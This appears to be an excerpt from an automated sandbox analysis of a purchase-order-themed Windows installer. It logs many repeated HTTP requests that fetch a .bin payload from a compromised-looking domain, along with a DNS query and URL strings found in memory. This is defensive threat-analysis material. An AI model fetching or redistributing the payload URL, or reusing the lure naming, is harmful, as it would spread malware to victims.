Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: designcirclekw.com

Source: PO-10212024168877 PNG2023-W101.exe, PO-10212024168877 PNG2023-W101.exe, 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000000.00000000.1445303761.0000000000409000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: PO-10212024168877 PNG2023-W101.exe, 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000000.00000000.1445303761.0000000000409000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000001.2607777042.0000000000649000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.ftp.ftp://ftp.gopher.
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000001.2607777042.00000000005F2000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000001.2607777042.00000000005F2000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000002.3912621480.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181377278.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3070130873.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3269271168.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3028767017.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2970031415.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3142595518.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2890472384.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3372975726.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3353408541.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3288676137.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3309422923.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3201010339.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220354716.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2871405171.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181585136.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2852037864.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220645532.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3394670154.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3070453625.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3162090904.00000000075DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3269271168.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3353408541.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3288676137.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3309422923.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3353581442.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3328739652.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3288465328.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3328883453.00000000075DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/$
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3249913342.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3249753104.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2950356283.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2950463769.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3269271168.00000000075DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/4
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000002.3912621480.0000000007568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/F
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3161939016.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3008954123.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3328808939.00000000075B8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2989432317.00000000075DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/admin/controller/extension/extension/zXcMABFvBCAfEn173.bin
